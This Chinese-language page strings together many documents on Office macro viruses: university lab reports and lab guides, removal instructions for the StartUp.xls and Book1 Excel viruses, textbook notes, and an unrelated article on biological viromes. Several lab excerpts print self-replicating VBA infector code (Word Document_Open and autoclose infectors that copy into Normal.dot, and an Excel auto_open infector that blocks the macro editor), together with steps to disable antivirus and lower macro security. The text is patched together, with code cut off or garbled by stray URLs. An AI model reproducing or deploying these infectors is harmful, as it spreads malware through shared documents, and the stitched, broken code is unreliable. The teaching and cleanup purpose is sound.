一个简单宏病毒的感染与清楚
宏病毒实验
1. 实验目的
（1）理解宏病毒的概念、病毒机制、传播手段以及预防措施。
（2）观察一个简单宏病毒感染计算机后的现象，并寻找清除病毒的方法。
2. 实验原理
宏（Macro）是微软公司出品的Office软件包中所包含的一项特殊功能。微软公司设计此项功能的主要目的是给用户自动执行一些重复性的工作提供方便。它利用简单的语法，把常用的动作写成宏，用户工作时就可以直接利用事先编写好的宏自动运行，以完成某项特定的任务，而不必反复重复相同的工作。微软的Word Visual Basic for Application(VBA)是宏语言的标准。宏病毒正是利用Word VBA 编写的一些宏，是一种寄存在文档或模板中的计算机病毒。一旦打开含有宏病毒的文档，其中的宏就会执行，宏病毒被激活，转移到计算机中并驻留在Normal 模板上。以后所有自动保存的文档都会感染上这种宏病毒。
预防宏病毒有以下几种基本的方法：
（1）防止执行自动宏：可以通过在DOS提示符下输入指令”WinWord.exe /m DisableAutoMacro”来防止打开Word文档时执行自动宏。另外，在打开或关闭文档时按下Shift键可以使文档不执行任何自动宏。
（2）保护Normal模板：可以采取以下几种方法对Normal模板进行保护。提示保存Normal模板；设置Normal模板的只读属性；设置密码保护；设置安全级别；按照自己的习惯设置Normal模板并进行备份，当被病毒感染时，使用备份模板覆盖当前模板。
（3）使用DisableAutoMacro功能。
3. 实验环境
虚拟机下Windows server 2003
4. 实验内容
本实验拟在虚拟机下感染一个简单的宏病毒，然后观察病毒对计算机有什么影响，最后寻求清除方法。
5. 实验步骤
1、打开一台虚拟机，并运行病毒文件。
2、病毒运行后，每个几秒钟就会弹出一个对话框，无法关闭，重启后依旧运行，也就是电脑感染了病毒。同时，打开任务管理器，会发现多了几个不明进程，结束后会自动恢复。
3、观察病毒对计算机造成的影响：
（1）频繁弹出对话框，影响正常操作；
（2）内存占用逐渐增大，最终导致计算机崩溃。
4、清除病毒。首先结束VirtualVirus.exe进程。
5、结束进程taskmgr.exe和explorer.exe。
这两个进程互相保护，所以要结束这两个进程有两种方法：
方法1：用Windows的任务管理器中的结束进程树的方法。该方法的缺点是不知道进程的路径，可能误结束系统进程。
方法2：使用可以同时结束两个进程的进程管理器，如IceSword，通过该进程管理器不仅可以看到进程名，还可以看到进程路径，这样就不会误删系统进程。
由于虚拟机上没有相应的进程管理器软件，本实验采用第一种方法（为避免
误结束系统进程，我在感染病毒之前已经通过进程大小辨认好了系统进程）。
6、修改注册表。删除
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexplor er和taskmgr两个键
7、删除病毒副本。
删除C:\WINDOWS\system32\explorer.exe和C:\WINDOWS\taskmgr.exe。
（如果无法删除请用360等杀毒软件粉碎即可）
7、至此，病毒就从计算机中清除了。
6、实验总结
本次实验让我对宏病毒有了一个初步的认识理解，并且通过一个简单的感染以及清除实例，更加直观鲜明地便显出了宏病毒的特征、危害性等，使我们对宏病毒具备了一定的防范意识和感染后的处理措施，总的来说，本次实验还是非常有实践意义的，不仅增强了理论知识，也丰富了我们的动手操作的实践经验，获益匪浅。
宏病毒原理及防范
宏病毒原理及防范 一、常见宏病毒 1．startup宏病毒 宏病毒其实并不神秘，其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建，新建的文件常放在xlsrt文件夹下。然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。下面先看看startup宏病毒代码吧，注意红字部分。 Sub auto_open() On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then Application.ScreenUpdating = False ThisWorkbook.Sheets("StartUp").Copy ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") n$ = https://www.360docs.net/doc/3e2057687.html, ActiveWindow.Visible = False Workbooks("StartUp.xls").Save Workbooks(n$).Close (False) End If Application.OnSheetActivate = "StartUp.xls!cop" Application.OnKey "%{F11}", "StartUp.xls!escape" Application.OnKey "%{F8}", "StartUp.xls!escape" End Sub Sub cop() On Error Resume Next If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then Application.ScreenUpdating = False n$ = https://www.360docs.net/doc/3e2057687.html, Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1) Sheets(n$).Select End If End Sub 2．book1病毒 book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。这种病毒和startup病毒工作原理相似，但启动方式不太一样，该病毒会在excel文件中添加和复制一个宏表，利用宏表4。0程序的auto_open事件启动宏表中的宏代码，进行代码复制，病毒文件创建。打开中了book1病毒文件，在插入-名称里会出现很多陌生的定义名称，这些都是病毒启动名称。 二、病毒专杀 1．手工专杀 strartup.xls病毒。首先把宏的安全性设置为最高级，禁止所有宏运行。然后在电脑中搜索xlstart文件夹，找到后把该文件夹中的strartup.xls文件
Word宏病毒
Word宏病毒 1.实验目的(后果自负) Word宏是指能组织到一起为独立命令使用的一系列Word指令，它能使日常工作变得容易。本实验演示了宏的编写，通过两个简单的宏病毒示例，说明宏的原理及其安全漏洞和缺陷，理解宏病毒的作用机制，从而加强对宏病毒的认识，提高防范意识。 2.实验所需条件和环境 硬件设备：局域网，终端PC机。 系统软件：Windows系列操作系统 支撑软件：Word 2003 软件设置：关闭杀毒软；打开Word 2003，在工具→宏→安全性中，将安全级别设置为低，在可靠发行商选项卡中，选择信任任何所有安装的加载项和模板，选择信任visual basic项目的访问 实验环境配置如下图所示： 受感染终端 受感染 Word文档 被感染终端宏病毒传播示意图 3.实验内容和分析 为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过
多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。 3.1. 例1 自我复制，感染word公用模板和当前文档 代码如下： 'Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With Host If .Lines(1.1) <> "'Micro-Virus" Then .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode .ReplaceLine 2, "Sub Document_Close()" If ThisDocument = nomaltemplate Then .ReplaceLine 2, "Sub Document_Open()" ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox "MicroVirus by Content Security Lab" End Sub 打开一个word文档，然后按Alt+F11调用宏编写窗口（工具→宏→Visual Basic→宏编辑器）,在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码，保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。 3.1.1.代码解释 以上代码的基本执行流程如下： 1)进行必要的自我保护 Application.DisplayStatusBar = False Options.SaveNormalPrompt = False 高明的病毒编写者其自我保护将做得非常好，可以使word的一些工具栏失效，例如将
宏病毒分析及清除实验
实验五宏病毒分析及清除实验 姓名：xxx 学号：xxxxxxxx 日期：2014年4月26日 专业：计算机科学与技术 一、实验目的 ?了解“宏病毒”机理； ?掌握清除宏病毒的方法； ?掌握采用“宏”和脚本语言进行编程的技术。 二、实验环境 ?Windows2003操作系统； ?Office Word2003字处理软件。 三、实验内容 1．软件设置 关闭杀毒软件；打开Word字处理软件，在工具“宏”的“安全性”中，将“安全级”设置为低，在“可靠发行商”选项卡中，选择信任任何所有安装的加载项和模板，选择“信任visual basic项目的访问”。 注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。 2．自我复制功能演示 打开一个word文档，然后按Alt+F11调用宏编写窗口（工具“宏”“Visual Basic宏编辑器”）,在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码（Macro-1），保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。 完整代码如下：
清除宏病毒
清除宏病毒，名字是：StartUp.xls方法 --大白菜 文中图片都很小，看不清楚，可以用以下快捷方式：按住ctrl 向上滚动鼠标滑轮可以放大word，就可以看清楚图片了 病毒样本如下：（下面是宏病毒代码，电脑知识欠缺的，千万被乱动哦，小心弄巧成拙） Vba代码 =================宏病毒代码复制从下一行开始================= Sub auto_open() On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then Application.ScreenUpdating = False ThisWorkbook.Sheets("StartUp").Copy ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") n$ = https://www.360docs.net/doc/3e2057687.html, ActiveWindow.Visible = False Workbooks("StartUp.xls").Save Workbooks(n$).Close (False) End If Application.OnSheetActivate = "StartUp.xls!cop" Application.OnKey "%{F11}", "StartUp.xls!escape" Application.OnKey "%{F8}", "StartUp.xls!escape" End Sub Sub cop() On Error Resume Next If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then Application.ScreenUpdating = False n$ = https://www.360docs.net/doc/3e2057687.html,
令人心烦的excel宏病毒终于清除了-推荐下载
令人心烦的excel宏病毒终于清除了!我如释重负地吁了口气，脑子一下子轻松了许多。你可能不知道，为了清除这个excel宏病毒，几天来，搞得我头昏脑胀。 大约两三个星期前，同事罗某告诉我，下面报上来的excel表，打开后出现了奇怪的现象：会自动打开一个book1的电子表格。他让我帮忙解决一下。我初步判断是宏病毒，默认打开的book1可能是excel的模板。我先“另存为”文件，找到book1的位置，删掉。同时把excel的宏安全性设置为高，禁止运行来历不明的宏，问题即解决了。 恰巧到下面去检查工作，某单位反映，电脑中病毒了，所以没有及时交表格。一问情况，与罗某讲的情况一样。我主动表示去“搞搞看”。但是情况并非如我猜想的那样。情况是：如果将宏的安全性设为非常高，禁用宏，会弹出一个警告：“出现了一个不能被禁止、又无法签署的Microsoft Excel 4.0 宏”，该表打不开；如果要打开这个表，必须降低excel宏安全性等级，将它设为中或低，即运行宏病毒，但又多出了一个book1表。即使将book1删除，仍然不行。面对这个新病毒，当时我不知该怎么办。 没过两天，罗某又来找我，说又出现了一种现象。我去看了，正与上次在下面检查时看到了excel 4.0 宏病毒一模一样。而且，下面有几个单位都说出现了宏病毒，上报来的表格中都有上面讲的问题。而且办公室有三台电脑都感染了excel 4.0 宏病毒。这么多的电脑感染了，引起了我的兴趣。
以前，我的电脑也多次中过病毒。我一般的做法就是上网查找 资料，把几篇文章介绍的方法结合起来，多试几次，几乎都能解决。可是这一次，情况完全不同。上网查了多次，讲宏病毒的文章特别多，但是介绍杀除方法的极少，而专门针对Microsoft Excel 4.0 宏病毒的只有一两篇提问的贴子，所介绍的方法就两样，一是在Excel 2003中禁止宏，二是用杀毒软件。第一种禁止是不行的，第二种杀毒软件我用了小红伞、360安全卫士，没查出病毒。 除此之外，还有一种临时救急的方法是：打开病毒表格，复制，再新建一个表格，选择性粘贴，只选值，最后保存。这个办法虽然行，但是面对那么多有宏病毒的表格，一个一个打开、复制、选择 性粘贴是不现实的。怎么办呢？ 接下来，我的思路是选择一种不支持excel宏的电子表格软件，这 样也许就把宏病毒过滤了。我试验过的软件有：wps office 2003 到最新的2010版，Ashampoo Office 2010，OpenOffice 3.2，永中Office 2009。它们都提示发现了宏，有的说不支持，有的说可以禁用，重新保存后宏病毒仍然存在，要么再打开时软件死机。 但是试验中发现微软Office 2007 / 2010 Beta 可以打开表格，只是在菜单栏提示“禁止了宏”，不影响操作。然而，现在基层单 位的电脑配置都比较低，安装不了Office 2007 / 2010 Beta，再说Office 2007 / 2010 Beta的菜单怪怪的，很多人不习惯。最重要的是，这并没有从根本上解决问题，宏病毒依然在表格文件里。 有个单位的人对我说，他们请来了电脑公司人员，几个小青年，把
EXCEL宏病毒处理方法
Excel宏病毒（BOOK1病毒）处理方法 症状：第一次打开带病毒的EXCEL文档时，会提示“是否启用宏”对话框，以后每次打开EXCEL 文档时就会自动弹出一个Book1文档。 传播途径：主要以发送邮件或使用U盘时，接收了带病毒的EXCEL 文档。 处理步骤： 1、首先进行病毒查杀：使用360杀毒软件或瑞星杀毒软件查杀； 2然后将病毒源进删除： 在C:\Program Files\Microsoft Office\OFFICE11\xlstart\下，然后将book1文件删除。 查毒方式： 主要有360杀毒软件和瑞星杀毒软件两种，这里详细介绍瑞星杀毒软件的安装和使用方法。 StartUp.xls宏病毒清除方法及步骤 StartUp.xls宏病毒的现象： 1.打开excel文件时提示有宏 2.文件不能直接保存，只能另存 3.打开excel文件时，点击"窗口"->"取消隐藏"，会打开一个Startup.xls 文件
StartUp.xls宏病毒清除方法及步骤：（excel宏病毒） 第一步：清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART下的StartUp.xls； （注意：其中有些事隐藏文件，你看不到，按照下面说的做就可以看到那些隐藏文件：打开我的电脑》》工具》》文件夹选项》》“隐藏受保护的操作系统文件（推荐）”前面的勾打掉》》选中“显示隐藏的文件、文件夹和驱动器”》》去掉“隐藏已知文件类型的扩展名”的勾。） 第二步：清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\的Excel11.exe(约236K)及Excel11.xlb等名字中带有Excel11的文件。（删除后Excel程序会自动创建部分文件） 第三步：下载startup.xls并放入“C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART\”。 注：各大杀毒软件多数不能发现此病毒，仅有少数几款，如nod32可以发现，但清除时会直接删除文件，因此在发现此类病毒时，使用上述方法解决，或联系信息中心协助处理。
实验三 脚本病毒和宏病毒分析
实验三脚本病毒和宏病毒分析 一、实验目的 通过这项实验旨在使学生掌握Office下宏病毒的基本原理，主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。 二、实验环境 操作系统环境：Windows98/NT/2000/XP 编程环境：Office VBA 三、实验基础知识要求 Office VBA编程环境 四、实验任务 1．任务性质：验证性实验 2．任务描述：下面的示例中给出的是一个Word宏病毒的示例程序（只有传染模块），仔细阅读源程序，掌握Word宏病毒的传染过程。 3．任务步骤： （1）打开Word2000，新建一个文档名为“test”； （2）点击“工具－宏－宏”，在对话框“宏的位置”选择“test”，在宏名中输入“autoclose”，然后点击“创建”按钮； （3）在VBA编辑环境中输入示例程序中给出的代码，并保存，然后退出VBA； （4）点击“工具－宏－宏”，在对话框中点击“管理器”按钮，在管理器对话框中点击“宏方案项”标签；在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”； （5）点击“工具－宏－安全性”，在安全性对话框中的安全级标签中选择“低”，在可靠性来源标签中选择“信任对VB项目的访问”； （6）保存并关闭“test”文档； （7）新建一个文档test1，关闭后重新打开，观察test1是否被感染。 （8）清除此宏病毒，即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。 4．示例程序 Sub autoclose() ' autoclose Macro ' 宏在2005-8-26 由jingjd 创建 On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False 'Options.VirusProtection = False Options.SaveNormalPrompt = False Const VirusName = "AOPEDMOK" 'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name 'MsgBox ActiveDocument.VBProject.VBComponents(2).Name Set Doc = ActiveDocument.VBProject.VBComponents Set Tmp = NormalTemplate.VBProject.VBComponents Const ExportSource = "E:\aopedmok.txt" For j = 1 To Doc.Count
宏病毒实验报告
宏病毒实验报告 2 邹文敏 一、实验目的 通过运行计算机代码，更加深刻的理解计算机代码。对计算机代码有一个初步的认识。 加深对宏病毒的感性认识，宏病毒是感染数据文件word,office 等。 二、实验内容 运行自我复制，感染word公用模板和当前文档；具有一定破坏性的宏；清除宏病毒。 三、实验步骤 实验一： 将word文档中的开发者工具打开；word 中心→信任选项→宏设计将信任选项打开
运行第一个实验Visual Basic →normal →Microsoft→the document Project→microsoft word对象→the document复制如下代码：'APMP Private Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.VirusProtection = False Options.SaveNormalPrompt = False '以上都是基本的自我隐藏措施 MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines( 1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _ Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
计算机病毒原理及防范技术(精简版)
《计算机病毒原理及防范技术》----秦志光张凤荔刘峭著 43.8万字 第1章计算机病毒概述 1.1.1计算机病毒的起源----第一种为科学幻想起源说，第二种为恶作剧，第三种为戏程序（70年代，贝尔实验室，Core War）, 第四种为软件商保护软件起源说。 1.计算机病毒的发展历史-----第一代病毒，传统的病毒， 第二代病毒（1989-1991年），混合型病毒（或“超级病毒”），采取了自我保护措施（如加密技术，反跟踪技术）；第三代病毒(1992-1995年)多态性病毒（自我变形病毒）首创者Mark Washburn-----“1260病毒”；最早的多态性的实战病毒----“黑夜复仇者”（Dark Avenger）的变种MutationDark Avenger ；1992年第一个多态性计算机病毒生成器MtE,第一个计算机病毒构造工具集（Virus Construction Sets）----“计算机病毒创建库”（Virus Create Library）, ”幽灵”病毒；第四代病毒（1996-至今），使用文件传输协议（FTP）进行传播的蠕虫病毒，破坏计算机硬件的CIH，远程控制工具“后门”（Bank Orifice）,”网络公共汽车”（NetBus）等。 2.计算机病毒的基本特征----1.程序性（利用计算机软、硬件所固有的弱点所编制的、具有特殊功能的程序），2、传染性，3、隐蔽性（兼容性、程序不可见性）4、潜伏性（“黑色星期五”，“上海一号”，CIH）,5、破坏性，6、可触发性，7、不可预见性，8、针对性，9、非授权可执行性，10、衍生性。 1.2.2.计算机病毒在网络环境下表现的特征------1.电子邮件成主要媒介（QQ，MSN等即时通讯软件，可移动存储设备，网页，网络主动传播，网络，“钓鱼”），2.与黑客技术相融合（“Nimda”,CodeRed,”求职信”），3.采取了诸多的自我保护机制（逃避、甚至主动抑制杀毒软件），4.采用压缩技术（压缩变形----特征码改变，压缩算法，“程序捆绑器”），5.影响面广，后果严重，6.病毒编写越来越简单，7.摆脱平台依赖性的“恶意网页”。 1.2.3.计算机病毒的生命周期----1.孕育期（程序设计，传播），2.潜伏感染期，3.发病期，4.发现期，5.消化期，6.消亡期。 第2章计算机病毒的工作机制 2.1.1计算机病毒的典型组成三大模块-----1.引导模块（将病毒引入计算机内存，为传染模块和表现模块设置相应的启动条件），2.感染模块（两大功能-----1.依据引导模块设置的传染条件，做判断；2启动传染功能）， 3.表现模块（两大功能----依据引导模块设置的触发条件，做判断；或者说表现条件判断子模块 2.1启动病毒，即表现功能实现子模块） 2.2.1计算机病毒的寄生方式-----1.替代法（寄生在磁盘引导扇区）；2.链接法（链接在正常程序的首部、尾部、或中间）。 2.2.2．计算病毒的引导过程-----1。驻留内存，2.获得系统控制权， 3.恢复系统功能。 2.4.1.计算机病毒的触发机制----1.日期，2.时间， 3.键盘 4.感染触发， 5.启动， 6.访问磁盘次数， 7.调用中断功能触发， 8.CPU型号/主板型号触发。 第三章计算机病毒的表现 3.1.计算机病毒发作前的表现----1.经常无故死机，操作系统无法正常启动，运行速度异常， 4.内存不足的错误， 5.打印、通信及主机接口发生异常， 6.无意中要求对软盘进行写操作， 7.以前能正常运行的应用程序经常死机或者出现非法错误， 8.系统文件的时、日期和大小发生变化， 9.宏病毒的表现现象，10、磁盘空间迅速减少，11.网络驱动器卷或者共享目录无法调用，陌生人发来的电子邮件，13.自动链接到一些陌生的网站。
word宏恶意代码实验
计算机宏病毒分析 一、实验目的 ?了解“宏病毒”机理； ?掌握清除宏病毒的方法； ?掌握采用“宏”和脚本语言进行编程的技术。 二、实验环境 ?Windows 7 64位旗舰版 ?Office Word2010字处理软件。 三、实验要求 ?宏的编写； ?理解宏病毒的作用机制。 四、实验步骤： 1．软件设置 关闭杀毒软件；打开Word字处理软件，在工具“宏”的“安全性”中，将“安全级”设置为低，在“可靠发行商”选项卡中，选择信任任何所有安装的加载项和模板，选择“信任visual basic项目的访问”。 注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。 2．自我复制功能演示 打开一个word文档，然后按Alt+F11调用宏编写窗口（工具“宏”“Visual Basic宏编辑器”）,在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码（Macro-1），保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word 文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。 完整代码如下： 'Macro-1：Micro-Virus
GF宏病毒
西安邮电大学 通信与信息工程学院 网络攻防实验报告 专业班级： 学生姓名： 学号(班内序号): 2014 年 5 月 28 日 —————————————————————————— 装 订 线———————————————————————————————— 报告份数：
实验宏病毒 1.场景描述 在虚拟机中演示word宏病毒的发生机制，以及如何清除病毒的一系列操作。宏病毒样本：自我复制及感染病毒(copy.txt) 类台湾一号病毒(No1.txt) 备注：实验工具（D盘-->攻防工具包-->宏病毒：Copy.txt、TaiWanNo1.txt） 2.实验目的 （1）演示宏的编写 （2）说明宏的原理及其安全漏洞和缺陷 （3）理解宏病毒的作用机制，从而加强对宏病毒的认识，提高防范意识 3.需求分析 宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。 因为Microsoft Word几乎已经成为目前全世界办公文档的事实工业标准，其影响是全球范围的。Word文件的交换是目前办公室数据交流和传送的最通常的方式之一，而且该病毒能跨越多种平台，并且针对数据文档进行破坏，因此具有极大地危害性。所以，必须要掌握如何预防和清除宏病毒，让损失减少。 4.技术分析 Word的文件建立是通过模板来创建的，模板是为了形成最终文档而提供的特殊文档，模板可以包括以下几个元素： 菜单、宏、格式（如备忘录等）。模板是文本、图形和格式编排的蓝图，对于某一类型的所有文档来说，文本、图像 和格式编排都是类似的。 Word提供了几种常见文档类型的模板，如备忘录、报告和商务信件。您可以直接使用模板来创建新文档，或者加 以修改，也可以创建自己的模板。一般情况下，Word自动将新文档基于缺省的公用模板（Normal.dot）。 可以看出，模板在建立整个文档中所起的作用，作为基类，文档继承模板的属性，包括宏、菜单、格式等。 Word处理文档需要同时进行各种不同的动作，如打开文件、关闭文件、读取数据资料以及储存和打印等等。每一 种动作其实都对应着特定的宏命令，如存文件与FileSave相对应、改名存文
office宏病毒的解决方法
最近公司内宏病毒泛滥，尤其是WORD、EXCEL文件中的宏病毒在公司办公电脑上互相感染，影响了办公效率，给我们的日常办公造成了困扰。 经过测试，现在找到了一个比较有效的远离宏病毒的方法，即“删除OFFICE中的VBA”，操作步骤如下： 1、点开始—>控制面板－>打开“添加删除程序“并找到“Microsoft office professional Edition2003” 2、单击按钮，出现OFFICE安装界面。
3、选择“添加或删除功能”，然后单击“下一步”。 4、在“选择应用程序的高级自定义”前打上勾，并单击“下一步”。
5、选择office共享功能下的“Visual Basic for Applications”项，下拉它前面的三角，选择“不安装”。此时它的前面就变成了一个红叉号，然后单击“更新”按钮。 7、显示出“Microsoft office 2003已被成功地更新”，单击“确定”
8、提示“重新启动计算机后，生效……”，单击按钮“是”,重新启动计算机，Office中的VBA已删除。 9、分别打开WORD、EXCEL，选择菜单栏中的“工具”-->宏-->安全性 选择安全级为“非常高”。
可靠发行商下面的“信任所有安装的加载项和模板”、“信任对于Visual Basic 项目的访问”这两项都不要选中。 （备注:第9项有的电脑不需要设置。） 删除了VBA后新建的文件，不会含有宏病毒了，但是原来的文件中有可能含有宏病毒。原文件的除毒方法： 1、打开文件时，如果提示“此工作簿已丢失了其VBA项目……”并且文件的标题上方显示着“只读” 2、点文件“另存为”
病毒与宏病毒全面解读
病毒与宏病毒全面解读 美格基因姜敬哲 病毒知多少？ 提起病毒，人们想到的通常是SARS、埃博拉、艾滋、流感等这些令人不愉快的词汇。事实上，病毒不仅仅影响人的健康，它们还有更重要的使命：推动自然物种的更替与演化，驱动生物地球化学的循环（Suttle等，2005）。 世上丰度最高的类群 病毒是我们这个星球上丰度最高的生命体。它们存在于世界的任意角落：从体型硕大的蓝鲸、非洲象，到肉眼无法分辨的寄生虫、细菌、衣原体等，但凡是“活”的东西，都有专门负责“办”它的病毒。
图1 常见感染人体的病毒形状和大小 科学研究中的暗物质 据推测，地球上的病毒种类多达8700万种，其中可能感染人类的病毒就有73万种，但目前比较确认的已知病毒却只有约5000种，已知的人类病毒仅有263种（Geoghegan 等，2017；Carroll 等，2018）。由此可见，病毒是生命科学研究中实打实的“暗物质”。 图2 目前地球上已知和未知的病毒物种数量
宏病毒组 病毒和细菌不同，不同病毒基因组的差异非常大，根本没有16S rDNA这种进化保守的基因，所以无法做扩增子（Amplicon）。 2002 年，Forest Rowher课题组基于宏基因组（Metagenome）研究思路，对海水中的病毒进行了富集，高通量测序后发现大量的未知病毒（Breitbart等，2002）。自此，宏病毒组（Virome）概念应运而生（即，组成一个特定生态系统或共生系统中所有病毒的集合）。 2018 年，由包括我国高福院士在内的多位世界级病毒专家在Science杂志上联合刊文，提出“全球病毒组计划”（GVP）（Carroll等，2018），将宏病毒组研究推到了一个全新的高度。 CNS中的常客 近几年，科学家运用宏病毒组学技术对多种环境、动物、微生物、以及人类各种来源的样品进行了不少的研究，产生很多突破性成果，见刊CNS已成为常态。代表作如，美国能源部的联合基因组研究所（JGI）针对全球3042份各种来源的样品进行的病毒组分析，共获得超过125 000个DNA病毒的基因组序列，将已知病毒基因集扩大16倍（Paez-Espino等，2016）。 在病毒组领域，中国科学家在其中也扮演了重要角色。2016和2018年，Nature 杂志两次报道了我国科学家张永振团队的关于无脊椎动物和脊椎动物病毒组的研究成果。他们对388种无脊椎和低等脊椎动物样品进行了大规模的转录组测序，鉴定出1659种RNA病毒，其中绝大多数为首次发现（Shi等，2016和2018，图3）。该研究的意义在于，彻底重新构建了RNA病毒世界的系统发育树，对RNA 病毒的分类进行了全新的界定。
一个简单宏病毒的感染与清楚
宏病毒实验 1. 实验目的 （1）理解宏病毒的概念、病毒机制、传播手段以及预防措施。 （2）观察一个简单宏病毒感染计算机后的现象，并寻找清除病毒的方法。 2. 实验原理 宏（Macro）是微软公司出品的Office软件包中所包含的一项特殊功能。微软公司设计此项功能的主要目的是给用户自动执行一些重复性的工作提供方便。它利用简单的语法，把常用的动作写成宏，用户工作时就可以直接利用事先编写好的宏自动运行，以完成某项特定的任务，而不必反复重复相同的工作。微软的Word Visual Basic for Application(VBA)是宏语言的标准。宏病毒正是利用Word VBA 编写的一些宏，是一种寄存在文档或模板中的计算机病毒。一旦打开含有宏病毒的文档，其中的宏就会执行，宏病毒被激活，转移到计算机中并驻留在Normal 模板上。以后所有自动保存的文档都会感染上这种宏病毒。 预防宏病毒有以下几种基本的方法： （1）防止执行自动宏：可以通过在DOS提示符下输入指令”WinWord.exe /m DisableAutoMacro”来防止打开Word文档时执行自动宏。另外，在打开或关闭文档时按下Shift键可以使文档不执行任何自动宏。 （2）保护Normal模板：可以采取以下几种方法对Normal模板进行保护。提示保存Normal模板；设置Normal模板的只读属性；设置密码保护；设置安全级别；按照自己的习惯设置Normal模板并进行备份，当被病毒感染时，使用备份模板覆盖当前模板。 （3）使用DisableAutoMacro功能。 3. 实验环境 虚拟机下Windows server 2003 4. 实验内容 本实验拟在虚拟机下感染一个简单的宏病毒，然后观察病毒对计算机有什么影响，最后寻求清除方法。
StartUp.xls宏病毒清除方法及步骤
StartUp.xls宏病毒清除方法及步骤 StartUp.xls宏病毒的现象： 1.打开excel文件时提示有宏 2.文件不能直接保存，只能另存 3.打开excel文件时，点击"窗口"->"取消隐藏"，会打开一个Startup.xls文件 StartUp.xls宏病毒清除方法及步骤：（excel宏病毒） 第一步：清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART下的StartUp.xls； （注意：其中有些事隐藏文件，你看不到，按照下面说的做就可以看到那些隐藏文件：打开我的电脑》》工具》》文件夹选项》》“隐藏受保护的操作系统文件（推荐）”前面的勾打掉》》选中“显示隐藏的文件、文件夹和驱动器”》》去掉“隐藏已知文件类型的扩展名”的勾。）第二步：清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\的Excel11.exe(约236K)及Excel11.xlb等名字中带有Excel11的文件。（删除后Excel程序会自动创建部分文件） 第三步：下载startup.xls并放入“C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART\”。 注：各大杀毒软件多数不能发现此病毒，仅有少数几款，如nod32可以发现，但清除时会直接删除文件，因此在发现此类病毒时，使用上述方法解决，或联系信息中心协助处理。
宏病毒深入分析
